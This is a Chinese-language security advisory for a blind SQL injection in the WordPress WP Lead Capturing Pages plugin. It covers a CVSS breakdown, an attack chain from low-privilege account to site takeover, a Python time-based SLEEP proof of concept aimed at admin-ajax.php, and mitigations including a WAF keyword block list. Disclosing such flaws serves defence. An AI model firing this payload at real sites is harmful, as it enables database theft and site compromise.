CVE-2025-49050 WordPress wp-lead-capture插件SQL注入漏洞

漏洞信息

漏洞编号

CVE-2025-49050

漏洞类型

SQL注入

CVSS评分

8.5 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress wp-lead-capture插件

漏洞概述

CVE-2025-49050是WordPress插件WP Lead Capturing Pages中的一个高危SQL注入漏洞。该插件由kamleshyadav开发，用于创建潜在客户捕获页面。漏洞源于对SQL命令中特殊元素的不当中和处理，允许攻击者进行盲注SQL注入攻击。攻击者可通过低权限账户利用此漏洞，无需用户交互即可远程执行恶意SQL语句。CVSS评分8.5（高危），攻击向量为网络，认证要求低权限，对机密性影响高（可获取数据库敏感信息），可用性影响低。该漏洞影响2.5及以下所有版本，披露日期为2026年1月22日，由Patchstack安全团队发现并报告。

技术细节

该SQL注入漏洞存在于WP Lead Capturing Pages插件的数据库查询处理逻辑中。漏洞类型为Blind SQL Injection（盲注SQL注入），攻击者无法直接获取数据库输出，但可通过时间延迟或布尔逻辑推断的方式逐步提取数据库中的敏感信息。攻击者通过构造恶意的SQL payload，在插件的输入参数中注入SQL语句，利用PR:L（低权限）认证要求即可发起攻击。CVSS向量显示攻击复杂度低（AC:L），无需用户交互（UI:N），但可造成高机密性影响（C:H），攻击者能够读取数据库中的用户信息、密码哈希、配置数据等敏感内容。由于是网络可访问的漏洞（AV:N），攻击者可远程利用，对WordPress站点的数据安全构成严重威胁。

攻击链分析

STEP 1

步骤1

侦察阶段：攻击者识别使用WP Lead Capturing Pages插件（<=2.5版本）的WordPress站点

STEP 2

步骤2

获取低权限账户：攻击者注册WordPress订阅者/贡献者账户或利用已有低权限账户

STEP 3

步骤3

构造恶意Payload：攻击者构造包含SQL注入代码的请求参数

STEP 4

步骤4

发送攻击请求：通过HTTP请求向插件的漏洞端点发送恶意SQL payload

STEP 5

步骤5

数据提取：利用时间盲注或布尔盲注技术逐步提取数据库中的敏感信息

STEP 6

步骤6

权限提升：通过获取的管理员凭据或配置信息进一步控制整个WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-49050 Blind SQL Injection PoC
# Target: WordPress wp-lead-capture plugin <= 2.5
# Author: Security Research

target = "http://target-site.com"
# Replace with actual vulnerable endpoint
endpoint = "/wp-admin/admin-ajax.php"

# Blind SQL Injection payload example
# This payload tests for SQL injection using time-based blind technique
payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))X)-- -"

def test_sqli():
    """
    Test for SQL injection vulnerability
    The plugin fails to properly sanitize user input before using it in SQL queries
    """
    params = {
        'action': 'wplcp_save_lead',
        'lead_data': payload,
        'post_id': '1'
    }
    
    try:
        response = requests.post(target + endpoint, data=params, timeout=10)
        if response.elapsed.total_seconds() >= 5:
            print("[+] SQL Injection vulnerability confirmed!")
            print("[+] Time-based blind injection successful")
            return True
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
    return False

if __name__ == "__main__":
    print("CVE-2025-49050 WP Lead Capturing Pages SQL Injection Test")
    test_sqli()

影响范围

WP Lead Capturing Pages <= 2.5

防御指南

临时缓解措施

临时缓解措施：1）立即禁用或删除WP Lead Capturing Pages插件；2）使用WAF规则阻止包含SQL注入特征的请求（如UNION、SELECT、SLEEP等关键词）；3）限制WordPress站点的用户注册功能；4）检查并审计近期创建的管理员账户；5）建议使用专业安全服务进行渗透测试，确认漏洞利用情况。